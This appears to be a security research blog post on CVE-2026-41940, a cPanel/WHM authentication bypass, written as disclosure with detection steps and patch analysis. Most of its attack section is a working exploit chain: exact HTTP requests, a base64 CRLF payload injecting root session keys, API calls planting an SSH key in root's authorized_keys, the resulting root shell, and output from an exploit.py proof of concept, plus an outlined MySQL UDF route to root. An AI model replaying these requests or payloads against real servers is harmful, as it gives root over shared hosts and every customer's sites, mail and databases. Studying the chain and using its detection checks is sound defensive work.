Six unauthenticated HTTP requests. No credentials. No token guessing.
From a fresh internet connection to uid=0(root) on a cPanel server.
That's CVE-2026-41940. The vendor advisory frames it as "an authentication bypass in the login flow" - technically true, and badly understating what you actually get. cPanel's threat model treats "authenticated to WHM as root" as roughly equivalent to "owns the box." Once the bypass succeeds, the rest of the chain is the WHM admin API doing exactly what it was designed to do, on behalf of the wrong person.
watchTowr published an excellent rapid-reaction post
within hours of the patch covering the high-level mechanics: a CRLF
injection in the session file's pass field gets promoted to top-level
session keys when the cache is rewritten. We stood up an unpatched lab
to verify the chain end-to-end. And then we kept reading, because the
shape of the bug felt structural in a way one writeup couldn't fully
capture.
Three things came out of the second pass that aren't in watchTowr's:
- A line-by-line design flaw: there are two session-write paths, and only one of them is filtered. Someone, at some point, wrote the exact validation that prevents this attack. They installed it on the wrong door.
- The on-disk lag between injection landing and promotion firing, which is the difference between "this is a bug" and "this is a CVE." Step 2 drops the payload; step 3 turns it into authentication.
- The trick that makes the chain weaponizable from outside a network
you don't already own -
needs_auth=0, a single injected key that prevents cpsrvd from rotating the security token mid-bypass.
We also audited the rest of the readable Perl on the running box. 5,484 modules, ~46 MB of source. The April 28 patch touched three of those files. The structural conditions that made this bug useful - a truthy-only auth gate, eight WHM admin handlers hardcoded to root, no HMAC on session state - are unchanged. The patch closes one door. The hallway it opens onto is still there.
The rest of this post is what we found, in the order we found it. Source walk, live chain captured against the lab, the bits watchTowr's writeup didn't surface, and the audit of what the patch didn't fix. The detection PoC at the end runs steps 1-4 and reads the target's version back - enough to verify exposure on a system you own.
Affected versions, for reference: cPanel & WHM prior to 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, 11.136.0.5, and WP Squared prior to 11.136.1.7. CVSS 9.8. Patched 2026-04-28.
The session subsystem, in three Perl files
The session subsystem is three Perl modules and a couple hundred lines:
Cpanel/Session.pm- the writerCpanel/Session/Load.pm- the readerCpanel/Session/Encoder.pm- the XOR primitive used to obfuscate the password fieldCpanel/Session/Modify.pm- the read-modify-write helper that other cpsrvd handlers call to update an existing session
A normal cPanel session cookie looks like
whostmgrsession=:S3SS_NAME,1a2b3c…. The :S3SS_NAME part identifies the
session; the ,1a2b3c… is a 16-byte random hex string - the obfuscation
secret that XOR-encodes the user's password before it hits disk. The
filename on disk is just the colon-prefixed name; the obhex is carried only
in the cookie.
Watch what Load.pm does with that obhex:
sub loadSession {
my ($session) = @_;
my $ob = get_ob_part( \$session ); # (1) strip ,<obhex> from cookie
return {} if !is_valid_session_name($session);
my $session_file = get_session_file_path($session);
my $session_cache = $Cpanel::Config::Session::SESSION_DIR . '/cache/' . $session;
my $session_ref;
my $mtime;
# ...
if ( $session_cache_fh = _open_if_exists_or_warn($session_cache) ) {
# cache load - JSON
$session_ref = Cpanel::AdminBin::Serializer::LoadFile($session_cache_fh);
}
if ( !keys %$session_ref ) {
if ( $session_fh = _open_if_exists_or_warn($session_file) ) {
require Cpanel::Config::LoadConfig;
$session_ref = Cpanel::Config::LoadConfig::parse_from_filehandle(
$session_fh,
delimiter => '=', # (2) line-oriented k=v parser
);
}
}
# ...
my $encoder = $ob && Cpanel::Session::Encoder->new( 'secret' => $ob );
$session_ref->{'pass'} = $encoder->decode_data( $session_ref->{'pass'} ) # (3)
if $encoder && length $session_ref->{'pass'};
return $session_ref;
}
(1) is the obhex split. If the cookie has no ,obhex suffix - and nothing
forces it to - $ob is undef. (2) is the raw-file parser when the cache
is missing or empty: it splits each line on the first = and stuffs the
results into a hash. (3) is the password decoder, gated on $ob being
truthy. No obhex → no decode. The pass field round-trips literally.
Session.pm's saveSession is the symmetric writer. Same gate, same
behavior:
sub saveSession {
my ( $session, $session_ref, %options ) = @_;
# ...
my $ob = get_ob_part( \$session );
return 0 if !is_valid_session_name($session);
my $encoder = $ob && Cpanel::Session::Encoder->new( 'secret' => $ob );
local $session_ref->{'pass'} = $encoder->encode_data( $session_ref->{'pass'} )
if $encoder && length $session_ref->{'pass'};
# ...
}
saveSession then writes the hash to disk as key=value\n lines via
Cpanel::Config::FlushConfig::flushConfig. No escaping of \r\n in
values.
So far this is the well-understood part of the bug: drop the obhex, write
arbitrary bytes (including \r\n) into pass, and they hit the file
verbatim. When the file is reloaded with the line parser, the \r\n chars
become line separators and any key=value shape inside them lands as new
top-level hash keys.
The detail watchTowr did not pull out
Session.pm has a function called filter_sessiondata that exists
specifically to prevent this:
sub filter_sessiondata {
my ($session_ref) = @_;
no warnings 'uninitialized';
# Prevent manipulation of other entries in session file
tr{\r\n=\,}{}d for values %{ $session_ref->{'origin'} };
# Prevent manipulation of other entries in session file
tr{\r\n}{}d for @{$session_ref}{ grep { $_ ne 'origin' } keys %{$session_ref} };
# Cleanup possible directory traversal ( A valid 'pass' may have these chars )
tr{/}{}d for @{$session_ref}{ grep { exists $session_ref->{$_} } qw(user login_theme theme lang) };
return $session_ref;
}
Read those comments - "Prevent manipulation of other entries in session file." Someone, at some point, modeled this exact attack and wrote a fix.
So why is there still a CVE in 2026?
filter_sessiondata is called from Cpanel::Session::create (the normal
login flow) and from Cpanel::Session::Modify::save (the read-modify-write
path). It is not called from saveSession directly. And saveSession
is what cpsrvd calls when it processes a Basic-Auth attempt against a
preauth session.
There are two write paths. Only one of them is filtered.
This is not a missing-validation bug. This is a missing-validation bug after someone already wrote the validation. They put the right check in the wrong door.
The auth gate
When cpsrvd processes a request, somewhere in its compiled binary it
decides whether the session counts as "logged in." The decision logic
isn't easy to read in the stripped ELF, but the same check exists verbatim
in a sibling consumer that ships as readable Perl -
Cpanel/Server/Handlers/OpenIdConnect.pm, line 410:
my $already_logged_in = (
$session_ref->{'successful_internal_auth_with_timestamp'}
|| $session_ref->{'successful_external_auth_with_timestamp'}
) ? 1 : 0;
Two field names, OR'd, treated as truthy/falsy. No timestamp validation.
No HMAC. No freshness check. Set either field to 1 and the OpenID
handler thinks you're already logged in. cpsrvd's main auth handler does
the same thing. That's the gate the CRLF injection unlocks.
The chain, with on-disk evidence
We exploited an unpatched 11.134.0.19 lab end to end. Here is what each step puts where, in real bytes.
Step 1 - mint a preauth session
POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
user=invaliduser&pass=NotThePassword
cpsrvd mints a session even though the credentials are wrong:
HTTP/1.1 401 Access Denied
Set-Cookie: whostmgrsession=%3aazhMiplkgx_fq5nm%2cf0ab138978d039bf022415268c9e989f
{"status":0,"message":"see_login_log"}
URL-decoded cookie: :azhMiplkgx_fq5nm,f0ab138978d039bf022415268c9e989f.
Note that a 401 still gives you a session.
/var/cpanel/sessions/raw/:azhMiplkgx_fq5nm now contains:
local_ip_address=198.51.100.205
external_validation_token=LRDK8lOize6ADlmq
cp_security_token=/cpsess9509419996
local_port=2087
hulk_registered=0
needs_auth=1
origin_as_string=address=203.0.113.79,app=whostmgrd,method=badpass
port=37551
login_theme=cpanel
ip_address=203.0.113.79
tfa_verified=0
Two things to notice:
needs_auth=1,tfa_verified=0- explicitly not logged in.cp_security_token=/cpsess9509419996is already issued by cpanel. We don't have to inject one. cpsrvd hands the attacker a real token before authentication completes.
Step 2 - drop a CRLF payload via Authorization: Basic
Same cookie, but without the ,obhex suffix. Add Basic-Auth carrying a
password with embedded \r\n:
GET / HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aazhMiplkgx_fq5nm
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9MQ0KdGZhX3ZlcmlmaWVkPTENCnVzZXI9cm9vdA0KaGFzcm9vdD0xDQpuZWVkc19hdXRoPTA=
The base64 decodes to:
root:x\r\nsuccessful_internal_auth_with_timestamp=1\r\ntfa_verified=1\r\nuser=root\r\nhasroot=1\r\nneeds_auth=0
Server replies 307 Moved to /cpsess9509419996/ - the security token
cpsrvd issued at step 1, leaked back to us in the Location header for
free.
/var/cpanel/sessions/raw/:azhMiplkgx_fq5nm (with cat -A, where ^M is
\r):
...
pass=x^M
successful_internal_auth_with_timestamp=1^M
tfa_verified=1^M
user=root^M
hasroot=1^M
needs_auth=0
...
Five physical lines. The pass field, written as one string with embedded
\r\n chars, has been emitted as five lines on disk. But the cache JSON
still treats it as one big string - the cache was rewritten this round
without re-loading, so the promotion to top-level keys hasn't happened yet:
"pass": "x\r\nsuccessful_internal_auth_with_timestamp=1\r\ntfa_verified=1\r\nuser=root\r\nhasroot=1\r\nneeds_auth=0"
The cache and the raw file disagree about what the session is. Step 3 is how the disagreement gets resolved in our favor.
Step 3 - trigger Modify->save
/scripts2/listaccts is a token-required path. We hit it without the
/cpsess<token>/ prefix:
GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aazhMiplkgx_fq5nm
cpsrvd's do_token_denied handler invokes
Cpanel::Session::Modify->new( $session ), which calls
Cpanel::Config::LoadConfig::loadConfig(... '=', ...) - the same
line-oriented parser. Each line of the raw file becomes a top-level key.
Our injected lines are now real keys in $self->{_data}.
Then Modify::save() runs:
sub save {
my ($self) = @_;
Cpanel::Session::filter_sessiondata( $self->{'_data'} ); # too late
Cpanel::Session::encode_origin( $self->{'_data'} );
Cpanel::Session::write_session( $self->{'_session'}, $self->{'_fh'}, $self->{'_data'} ) or die ...;
return $self->_close_session();
}
The filter call is here - but only on values, not keys. Our injected
keys (successful_internal_auth_with_timestamp, tfa_verified=1,
user=root, hasroot=1, needs_auth=0) survive intact.
write_session then re-emits the raw file and overwrites the JSON cache
from the same in-memory hash:
{
"successful_internal_auth_with_timestamp": "1",
"tfa_verified": "1",
"hasroot": "1",
"user": "root",
"cp_security_token": "/cpsess9509419996",
"needs_auth": "0",
"pass": "x",
...
}
Top-level keys, all of them. pass shrank to "x" (the surviving prefix).
HTTP response is 401 Token Denied. We don't care - the disk write was the
payoff.
The needs_auth=0 detail
We injected needs_auth=0 for a reason that isn't in the watchTowr writeup
and that we found by tripping over it in the lab.
cpsrvd's do_token_denied rotates the security token when the session
transitions from preauth to authenticated - it generates a fresh
/cpsess<10 digits> and overwrites the existing cp_security_token field.
That breaks the chain for a remote attacker, because the new token only
lives in the cache file on disk. Without SSH access, you can't recover it
from outside.
Session.pm::write_session controls the preauth flag:
if ( $session_ref->{'needs_auth'} ) {
unless ( -e $Cpanel::Config::Session::SESSION_DIR . '/preauth/' . $session ) {
# create preauth flag file
}
}
elsif ( -e $Cpanel::Config::Session::SESSION_DIR . '/preauth/' . $session ) {
# remove preauth flag file
unlink ...;
}
By injecting needs_auth=0, the Modify::save cycle removes the preauth
flag file. cpsrvd's rotation logic checks for that flag and decides "this
session was already authenticated, don't rotate." The token cpsrvd handed
us at step 2 (visible in the Location header) survives step 3.
This is the missing piece that makes the bypass weaponizable from outside without disk access. Without it, a remote attacker has the auth bypass but no working token to use it with. With it, the chain is purely network.
Step 4 - confirm we are root
GET /cpsess9509419996/json-api/version?api.version=1 HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aazhMiplkgx_fq5nm
HTTP/1.1 200 OK
Content-Type: application/json; charset="utf-8"
{"data":{"version":"11.134.0.19"},"metadata":{"reason":"OK","command":"version","result":1,"version":1}}
cpsrvd accepted the session as a logged-in root. End of bypass.
From auth bypass to root shell
Two more requests turn this into a root shell.
The importsshkey and authorizesshkey WHM admin APIs both ship in
Whostmgr/API/1/SSH.pm:
sub importsshkey {
my ( $args, $metadata ) = @_;
require Cpanel::SSH;
my ( $result, $warnings_ar ) = Cpanel::SSH::_importkey( %{$args}, user => 'root' );
...
}
sub authorizesshkey {
my ( $args, $metadata ) = @_;
require Cpanel::SSH;
my @result = Cpanel::SSH::_authkey( %{$args}, user => 'root' );
...
}
Both hardcode user => 'root'. Whoever calls them - using whatever
session - writes to root's ~/.ssh/. This is by design; WHM admin is
supposed to be root. The CVE just gives the wrong person the WHM admin
session.
GET /cpsess9509419996/json-api/importsshkey?api.version=1
&name=cve_poc_key
&key=ssh-ed25519+AAAAC3NzaC1lZDI1NTE5AAAAIBQ2++JSFStoCkvZXmsj/0vLSazfdDQQrTb8aqytMGpc+cve-2026-41940-poc HTTP/1.1
→ /root/.ssh/cve_poc_key.pub is written.
GET /cpsess9509419996/json-api/authorizesshkey?api.version=1
&file=cve_poc_key.pub
&authorize=1 HTTP/1.1
→ /root/.ssh/authorized_keys gets the key appended.
$ ssh -i cve_poc_key root@target
ROOT_RCE_PROVEN
uid=0(root) gid=0(root) groups=0(root)
Linux lab.example.com 5.14.0-570.12.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 13 06:11:55 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
Total: six unauthenticated HTTP requests, one SSH login. uid 0.
What the attacker gets
A cPanel server is shared-hosting infrastructure. A typical box has hundreds to low thousands of cPanel accounts on it. From WHM root:
- Every cPanel account on the host. Every customer's website source, databases, mail, everything they trusted to the hosting provider.
- Every reseller account.
- The host itself. Replace
cpsrvdwith a backdoored copy. Patch the vulnerability while shipping the backdoor. Persistence outlives remediation. - Lateral movement primitives that ship with WHM:
execute_remote_whmapi1_with_password,create_remote_root_transfer_session,accesshash(legacy long-lived API tokens that aren't cpHulk-rate-limited). - 679 admin APIs are accessible to the bypassed session. We counted 120 of them as RCE-class on first pass.
If the host belongs to a hosting provider, multiply by the size of their cPanel fleet.
Four frictions we tripped on
The source-level walkthrough makes the chain look frictionless. The lab made it less so. Four things mattered when the requests went over a real network:
Most cPanel boxes don't expose WHM directly. Port 2087 is the obvious surface and the obvious thing to firewall. Shared-hosting providers typically restrict it at the network edge - IP allowlists at the cloud firewall,
.htaccessrules on a reverse-proxy that fronts the admin interface as/whmunder the main domain, or cPHulk's host-access controls. The bypass works against any cpsrvd you can reach. It just doesn't help if you can't reach it. The internet-wide attacker population for this CVE is smaller than "every cPanel install"- the relevant population is "every cPanel box whose 2087 is open to the world or fronted by a permissive proxy." Still a lot of boxes. Not all of them.
cpHulk, cPanel's brute-force protection, will rate-limit
/login/per source IP. Default thresholds lock a single IP after a small number of failed login attempts. Our chain does one failed login per exploitation; an attacker would need to rotate IPs every ~5 attempts. This does not stop the attack - it slows it. Worth noting: cpHulk does not observe the post-bypass admin-API calls. Once the session is promoted, the WHM API layer treats the request as legitimate root traffic, with no second login event for the brute-force counter to catch.cpsrvd binds the session to source IP. The
cookie ip checkinlogin_logreturnsDEFERRED LOGINif the cookie's recordedip_addressdoes not match the current request. Our chain spans four requests; an attacker behind CGNAT or a rotating-egress proxy will see intermittent failures. Fix: stable egress.The licensing check sits between cpsrvd's auth handler and the actual API logic. On an unlicensed install, cpsrvd accepts the bypassed session and routes it correctly, but the API handlers return
Cannot Read License Fileand refuse to do work. On any production cPanel box (i.e., one with a paid or trial license active), this gate is open and the SSH key APIs run.
These are friction, not protection. None of them prevent the bypass; they shape what the attack looks like in the wild.
Detection
Five quick checks on a system you suspect was hit before patching:
Grep
/var/cpanel/sessions/cache/for promoted-injection markers. A cache JSON that hassuccessful_internal_auth_with_timestampset butpassis suspiciously short (e.g.,"pass":"x") is one of ours:grep -l '"pass":"x"' /var/cpanel/sessions/cache/* | xargs -r grep -l 'successful_internal_auth_with_timestamp'Grep
/var/cpanel/sessions/raw/for embedded\rin non-origin fields. A legitimate raw file never has\ranywhere except possibly inside thepassfield of an obhex-secured session. Multiple physical lines whose values contain\ris the injection footprint.login_logfor the pattern:FAILED LOGIN ... method=badpassfollowed by repeatedDEFERRED LOGIN ... security token missingfrom the same IP within seconds. This is the bypass walking through steps 1-3.Grep
/root/.ssh/authorized_keysfor unfamiliar fingerprints.ssh-keygen -lf /root/.ssh/authorized_keys. Anything you don't recognize, treat as suspect.Compare mtimes of
/var/cpanel/sessions/raw/<id>and/var/cpanel/sessions/cache/<id>. They should be the same per transaction. A raw file substantially newer than its matching cache - or a cache whosepassvalue contains literal\r\ncharacters in the JSON string - is a session that was injected but not yet promoted.
Once root, an attacker can clean any of these traces. Best assume that an unpatched box is compromised, rather than that you'll find evidence after the fact.
What the patch did
The April 28 patch lives in three files:
Cpanel/Session.pmCpanel/Session/Load.pmCpanel/Session/Encoder.pm
The behavior change in saveSession makes the encode step unconditional -
when $ob is undefined, instead of writing the password verbatim, the
code now wraps it in a 'no-ob:' . hex_encode_only(...) wrapper. Any
literal \r\n an attacker tries to embed becomes hex digits inside the
wrapper, which the line parser cannot split.
The right fix would have been to call filter_sessiondata from
saveSession too - i.e., use the validation that already existed. The
patch instead adds parallel validation downstream of the original. Either
works.
What the patch didn't fix
After the chain confirmed end-to-end, we ran semgrep and ripgrep across
the rest of the readable Perl in /usr/local/cpanel/{Cpanel,Whostmgr}
looking for siblings of the same pattern. 5,484 modules, ~46 MB of
source, eight rules covering the structural shapes the bug fits into.
The patch on April 28 touched three files: Cpanel/Session.pm,
Cpanel/Session/Load.pm, Cpanel/Session/Encoder.pm. Everything else
is byte-identical between 11.134.0.19 and 11.134.0.20 - including
Cpanel/Session/Modify.pm (the read-modify-write helper that promoted
our injected lines to top-level keys),
Cpanel/Server/Handlers/OpenIdConnect.pm (where the auth gate lives in
readable form), and the WHM API handlers that hardcode user => 'root'.
That means three things didn't change.
The auth gate is the same. successful_internal_auth_with_timestamp
or successful_external_auth_with_timestamp - either truthy field
flips it. No value validation. No HMAC. No freshness check. Any future
CRLF injection, cache poison, or file-write primitive that lands one of
those keys into a session file reaches the same root takeover. The
patch closes one such primitive. The gate itself still trusts an
unsigned top-level key.
The hardcoded-root API surface is the same. We counted eight readable Perl entry points that operate as root regardless of caller identity:
Whostmgr/API/1/SSH.pm _authkey, _delkey, _genkey, _importkey,
_converttoppk, _listkeys
Whostmgr/API/1/LocalMySQL.pm setmysqlpasswd (×2 invocation sites)
CVE-2026-41940 weaponizes the _importkey / _authkey pair. The MySQL
pair is a sibling primitive: set the local MySQL root password from a
bypassed session, log in to MySQL as root, load a UDF, execute native
code as the MySQL service user (root in default cPanel installs). Two
API calls, slightly noisier on disk, same end state. The patch doesn't
touch it. The blast radius of any future bypass against WHM admin
includes both.
There's a footgun in Cpanel/Features/Write.pm that isn't currently
exploitable but reads like the next CVE waiting on a careless caller:
foreach my $key ( keys %{$feature_ref} ) {
$feature_ref->{$key} =~ s/\r\n/\n/g;
$feature_ref->{$key} =~ s/\r//g;
$feature_ref->{$key} =~ s/\n+/\n/g; # collapses, does not remove
}
Cpanel::Config::FlushConfig::flushConfig( $file, $feature_ref, '=', ... );
The author was thinking about CRLF injection - they strip \r and
collapse multiple \n into one. They don't remove \n outright. A
surviving \n in a value becomes a new top-level record in the on-disk
file, which the matching loader at Features/Load.pm:60 will then
promote on the next read. We didn't find a public API path that lets an
attacker control feature values today - the WHM update_featurelist
endpoint hardcodes them to 0 or 1. But any future caller - a
feature-rule extension, an addon plugin, a third-party WHM module -
that takes free-form input and feeds it through write_featurelist
reintroduces the bug class verbatim.
We're not calling that a finding. It isn't one. It's the shape of the finding the next codebase audit will turn up, in a sibling subsystem, with a different field name and a different auth gate to flip. The defense-in-depth fix that closes all of these in one pass is the same thing every session subsystem of this vintage eventually needs: HMAC the session contents on every save with a server-side secret, and reject sessions whose HMAC doesn't verify on load. None of that is in 11.134.0.20.
For defenders running the audit themselves, the eight semgrep rules we
wrote (cpanel-conditional-encoder-gate, cpanel-flushconfig-equals,
cpanel-load-config-equals, cpanel-truthy-auth-gate,
cpanel-api-hardcoded-root, cpanel-savesession-callsite, and two
others) are in the research bundle, alongside the captured findings
JSON from the run that produced these counts. The high-signal rules
fire in single digits across 5,484 modules - six readable callers of
saveSession, six =-delimited writers, two encoder-gate sites, one
truthy auth gate. They're noisy when broadly defined (the
hardcoded-root rule fires twenty times codebase-wide; we narrowed it
to Whostmgr/API/ for the count above). All eight are the right shape
to find the next instance.
The PoC in action
exploit.py is a single file, stdlib-only, ~250 lines. It implements
steps 1-4: hits the target, captures the security token from step 2's
redirect, triggers the Modify->save promotion, makes one authenticated
WHM API call, and reads the cPanel version back from the response. Exit
code 0 if the bypass succeeded, non-zero otherwise.
Against an unpatched 11.134.0.19 lab:
$ python3 exploit.py --target https://198.51.100.205:2087
========================================================================
[step 1] POST /login/?login_only=1 - mint preauth session
========================================================================
cookie name: whostmgrsession
session: :ISAO03oyqjoFz4sQ
========================================================================
[step 2] GET / + Authorization: Basic - drop CRLF payload, capture token
========================================================================
security token (from 307 Location): /cpsess2772416925
========================================================================
[step 3] GET /scripts2/listaccts - promote injected lines via Modify->save
========================================================================
HTTP 401 (401 Token Denied is expected; the disk write is the payoff)
========================================================================
[step 4] GET /cpsess2772416925/json-api/version - confirm session is now root
========================================================================
HTTP 200
body: {"data":{"version":"11.134.0.19"},"metadata":{"version":1,"result":1,
"command":"version","reason":"OK"}}
[+] AUTH BYPASS CONFIRMED on https://198.51.100.205:2087
[+] target reports cPanel version: 11.134.0.19
[+] reusable session:
Cookie: whostmgrsession=%3AISAO03oyqjoFz4sQ
URL prefix: https://198.51.100.205:2087/cpsess2772416925/
The version string in the final block (11.134.0.19) comes back from the
target's WHMAPI as proof that we're authenticated - only a logged-in
session can call /json-api/version. The fact that we read it back is
the bypass confirmation.
Against the same box after upgrading to 11.134.0.20 (patched):
$ python3 exploit.py --target https://198.51.100.205:2087
========================================================================
[step 1] POST /login/?login_only=1 - mint preauth session
========================================================================
cookie name: whostmgrsession
session: :AC4qiwLqbMqH2N0F
========================================================================
[step 2] GET / + Authorization: Basic - drop CRLF payload, capture token
========================================================================
security token (from 307 Location): /cpsess2509630342
========================================================================
[step 3] GET /scripts2/listaccts - promote injected lines via Modify->save
========================================================================
HTTP 401 (401 Token Denied is expected; the disk write is the payoff)
========================================================================
[step 4] GET /cpsess2509630342/json-api/version - confirm session is now root
========================================================================
HTTP 403
body: {"cpanelresult":{"apiversion":"2","error":"Access denied",
"data":{"reason":"Access denied","result":"0"},"type":"text"}}
[-] step 4 did not confirm authentication. Target may be patched.
Steps 1-3 still succeed on the patched build - the requests are still
accepted, the session cookie is still issued, the security token still
leaks back. Step 4 fails because the patch hex-encodes the pass field
when $ob is undef ('no-ob:' . hex_encode_only(...)). The \r\n in
our payload becomes hex digits inside the wrapper. When Modify->save
reloads the raw file with the line parser, there are no extra newlines
to split on - no promotion happens - successful_internal_auth_with_- timestamp never lands as a top-level key - cpsrvd's auth handler sees
the session as still preauth and answers 403.
That's what the patch buys you, end to end. exploit.py runs steps 1-4
and stops at the version readback. Steps 5-6 are documented above.
The four lab notes (01-source-walk.md through 04-rce-chain.md), the
audit notes (05-similar-issues-audit.md), the captured artifacts (raw
session files, cache JSONs, login_log fragments), and the eight semgrep
rules with their captured findings JSON are in the research bundle.
Patch this one. Don't trust it's the only one.
Patch your boxes. If you run a cPanel fleet, audit
/var/cpanel/sessions/cache/ and /root/.ssh/authorized_keys before
you do anything else - the patch closes one door, but it doesn't tell
you whether someone walked through it before April 28.
The validation that prevents this attack already existed in
Session.pm. Someone wrote it. They commented it
"Prevent manipulation of other entries in session file." The April 28
patch didn't move that filter to the second writer; it added a parallel
hex-encoder downstream and called it good. That works for this CVE. It
also leaves the original asymmetry in place - one filter, two writers,
an auth gate that trusts an unsigned top-level key, and eight admin
handlers hardcoded to root waiting at the other end. The next
CRLF-in-pass primitive someone finds in this codebase reaches the
same root takeover, against the same gate, with the same handlers
waiting.
Patch this one. Audit your sessions. Don't assume it's the only door.
CVE-2026-41940 is tracked at exploit-intel.com/vuln/CVE-2026-41940 . The full lab notes, captured artifacts, semgrep rules, and the version-detection PoC are on GitHub . The EIP MCP server is free at mcp.exploit-intel.com/mcp . cPanel & WHM patched on 2026-04-28 - upgrade if you haven't.